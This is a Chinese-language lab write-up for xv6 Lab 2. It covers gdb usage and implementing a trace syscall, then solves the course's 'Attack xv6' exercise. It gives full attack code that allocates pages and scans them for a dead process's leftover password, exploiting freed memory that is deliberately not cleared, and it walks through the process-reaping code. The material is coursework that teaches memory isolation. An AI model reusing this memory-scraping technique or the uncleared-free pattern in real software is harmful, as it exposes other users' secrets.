Lab 2 System calls

在开始之前,我们回顾一下怎么启动调试模式:

在一个终端里执行 make qemu-gdb ,make qemu-gdb CPUS=1 可以只使用一个核心,比起多线程更便于调试。

在另一个终端里执行 gdb-multiarch kernel/kernel ,进入 gdb 后执行 target remote localhost:26001,这里的端口号不一定是 26001,看 make qemu-gdb CPUS=1 的打印结果就行。

这样就进入调试模式了。另外,我习惯用 set prompt \001\033[1;33m\002(gdb) \001\033[0m\002 来高亮 “(gdb)” 这几个字。

Using gdb

lab 开头让我们熟悉一下 gdb 的使用。启动调试模式以后按部就班就能完成,我们这里记录一下常用的一些 gdb 指令:

c 或 continue - 继续执行直到遇到下一个断点

n 或 next - 单步执行,会跳过函数调用

s 或 step - 单步执行,会进入函数内部

si - 执行一条汇编指令

finish - 运行到当前函数返回为止

p /x $mstatus - 以十六进制打印CPU当前模式

backtrace(缩写bt) - 显示函数调用栈

set prompt \\001\\033[1;33m\\002(gdb) \\001\\033[0m\\002 - 高亮(gdb)

until - 运行到指定行号为止

System call tracing

这道题让我们实现一个系统调用,按着 hints 按部就班就能做掉。唯一要注意的是在 syscall 里打印 trace 相关的内容时要把系统调用的返回值 ret 从原本的 uint64 转换为 long long,否则对那些可能返回 -1 的系统调用,我们无法正确打印 -1.

在照着 hints 实现之后,看看系统调用是如何进行的也是更有趣的事情。我在 Lab 2.1 系统调用流程——以sleep为例 中写得还挺详细的,这里不多赘述细节。

简而言之,当我们进行系统调用时:

  1. 进入由 usys.pl 生成的 usys.S
  2. ecall 触发异常并跳转到 trapoline.S 的 uservec 处
  3. 到达 trap.c 的 usertrap 函数,它会调用 syscall 函数以执行系统函数的逻辑
  4. 系统函数执行完成后进入usertrapret函数
  5. 跳转到 trapoline.S 的userret处
  6. 最后回到 usys.S
  7. 回到用户的代码里。

让我们根据这个流程来看看 hints 的每一步的原因:

  1. 把 $U/_trace 加入到 Makefile 中是为了编译时识别到 trace。
  2. 在 user.h 里加入 trace 是为了让用户的 trace.c 识别到 trace 这个函数。
  3. 在 usys.pl 里加入 trace 是为了让 usys.pl 在生成的 usys.S 里加入 trace 相关的内容,它是我们进行系统调用时的第一站。
  4. 在 syscall.h 里加入 trace 是因为我们通过寄存器里存储的整数确定调用的系统函数,很多地方都使用了这个文件里定义的常量。
  5. 在 syscall.c 和 sysproc.c 里加入的函数则是实际的逻辑部分,由 syscall 函数调用。

Attack xv6

在 xv6 的 syscall 分支上有一个漏洞——进程被回收后,它曾经使用的物理内存不会被重置为垃圾数据,而是保持之前的状态。所以我们可以打破内存隔离,访问别的已经被回收的进程的内存。

我们看向 secret.c,会发现它请求了 32 个物理页大小的物理内存,然后把一串字符放在了某个物理页的开头。所以我们只要在 attck.c 里也请求一些物理页,然后找到这串字符串就行。

我们先请求 32 个物理页然后依次打印出每个物理页开头的一串字符,结果如下:

第 1 页: ��
第 2 页: �              第 3 页:  �
第 4 页: ��             第 5 页: �
第 6 页: 0�             第 7 页:  �
第 8 页: �              第 9 页: ��/cea.ae
第 10 页: @�7�G�������f���13��fv␦3              第 11 页: P�#4��"�����`Bdaa��q�"�
                                                                                 ��
第 12 页: ��

� attackte              第 13 页: p�
第 14 页: `�            第 15 页:  ���
第 16 页: ��7�G�������f���13��fv␦3              第 17 页: ��very very secret pw is: /cea.ae
第 18 页: ��            第 19 页: p�
第 20 页: 0�            第 21 页: 0��
第 22 页: @��           第 23 页: P��
第 24 页: ��            第 25 页: ���
第 26 页: P�            第 27 页: @�
第 28 页: 0�            第 29 页: �
�&�J����lE�`*&�J�               第 31 页: ������?���
第 32 页: ���          

可以注意到大多数都是乱码,这是因为内存里有非文本的二进制数据,它们不能被当作文本输出。

当然,我们会注意到第 17 页有 “very very secret pw is: /cea.ae”,它与 secret.c 写入的内容唯一的区别是少了 “my very ” 这八个字符。为什么会有八个字符的差异呢?

看向 kallc.c 的 kfree:

void kfree(void *pa) {
    struct run *r;

    if (((uint64)pa % PGSIZE) != 0 || (char *)pa < end || (uint64)pa >= PHYSTOP)
        panic("kfree");

#ifndef LAB_SYSCALL
    // Fill with junk to catch dangling refs.
    memset(pa, 1, PGSIZE);
#endif

    r = (struct run *)pa;

    acquire(&kmem.lock);
    r->next = kmem.freelist;
    kmem.freelist = r;
    release(&kmem.lock);
}

结合 struct run 的定义,就能知道 r->next = kmem.freelist 这句语句是把一个指针放在了输入的物理地址的前八个 bytes 中。这正是之前八个字符的差异的由来。

总结一下,在运行 secret.c 的进程被回收后,其中包含 “my very very very secret pw is: /cea.ae” 的物理页的开头八个 bytes 被指针覆盖,所以只剩下了 “[8 bytes 指针]very very secret pw is: /cea.ae”. 所以我们多请求几个新的物理页然后遍历它们,用前缀 “very very secret pw is: ” 来匹配就行。

我们在文末会更具体地讲讲进程被回收的过程,但先让我们来看看代码:

int strncmp(const char *str1, const char *str2, int n);
// kalloc.c 的 kfree 函数里把物理页的开头换成了一个指针.
// 所以我们丢失了开头的 sizeof(指针) 个字符.
const int overwrite_len = sizeof(void *);

int main(int argc, char *argv[]) {
    char *end;
    char *prefix = "my very very very secret pw is: ";
    int cmplen = strlen(prefix) - overwrite_len;

    // 遍历新插入的32个物理页
    for (int i = 0; i < 32; i++) {
        end = sbrk(PGSIZE);
        if (strncmp(end + overwrite_len, prefix + overwrite_len, cmplen) == 0) {
            write(2, end + 32, 8);
            exit(0);
        }
    }
    exit(1);
}

这里把内容写进文件描述符 2 是因为 attacktest.c 里开了一个管道,运行 attack.c 的进程的文件描述符 2 连接着管道写端,运行 attacktest.c 的进程则在读取管道读端。下面的代码就是把 attack.c 的文件描述符 2 连接到管道写端的代码:

if (pid == 0) {
    close(fds[0]);
    close(2);
    dup(fds[1]);
    char *newargv[] = {"attack", 0};
    exec(newargv[0], newargv);
    printf("exec %s failed\n", newargv[0]);
    exit(1);
}

进程被回收的过程

一个进程调用 exit(int) 后会进入 ZOMBIE 状态,但并不立即释放物理内存,而是会唤醒其父进程:

void exit(int status) {
    // 我们在这里省略了很多代码,有兴趣可以自己看 proc.c
    wakeup(p->parent);
    p->state = ZOMBIE;
}

父进程调用 wait(uint64) 会找到 ZOMBIE 子进程并调用 freeproc 来回收它:

int wait(uint64 addr) {
    // 我们在这里省略了很多代码,有兴趣可以自己看 proc.c
    struct proc *pp;
    struct proc *p = myproc();

    for (;;) {
        for (pp = proc; pp < &proc[NPROC]; pp++) {
            if (pp->parent == p && pp->state == ZOMBIE) {
                // Found one.
                pid = pp->pid;
                freeproc(pp);
                return pid;
        }

        // Wait for a child to exit.
        sleep(p, &wait_lock); // DOC: wait-sleep
    }
}

freeproc 则又调用 proc_freepagetable 来回收物理内存:

// Free a process's page table, and free the
// physical memory it refers to.
void proc_freepagetable(pagetable_t pagetable, uint64 sz) {
    uvmunmap(pagetable, TRAMPOLINE, 1, 0);
    uvmunmap(pagetable, TRAPFRAME, 1, 0);
    uvmfree(pagetable, sz);
}

其中的 uvmfree(pagetable, sz) 就在释放物理内存了:

// Free user memory pages,
// then free page-table pages.
void uvmfree(pagetable_t pagetable, uint64 sz) {
    if (sz > 0)
        uvmunmap(pagetable, 0, PGROUNDUP(sz) / PGSIZE, 1);
    freewalk(pagetable);
}

让我们看向 uvmunmap,它获取每一页的物理地址然后调用 kfree:

// Remove npages of mappings starting from va. va must be
// page-aligned. The mappings must exist.
// Optionally free the physical memory.
void uvmunmap(pagetable_t pagetable, uint64 va, uint64 npages, int do_free) {
    uint64 a;
    pte_t *pte;
    int sz;

    if ((va % PGSIZE) != 0)
        panic("uvmunmap: not aligned");

    for (a = va; a < va + npages * PGSIZE; a += sz) {
        sz = PGSIZE;
        if ((pte = walk(pagetable, a, 0)) == 0)
            panic("uvmunmap: walk");
        if ((*pte & PTE_V) == 0) {
            printf("va=%ld pte=%ld\n", a, *pte);
            panic("uvmunmap: not mapped");
        }
        if (PTE_FLAGS(*pte) == PTE_V)
            panic("uvmunmap: not a leaf");
        if (do_free) {
            uint64 pa = PTE2PA(*pte);
            kfree((void *)pa);
        }
        *pte = 0;
    }
}

更细节的释放 trapframe、释放页表我们就不在这里多说了。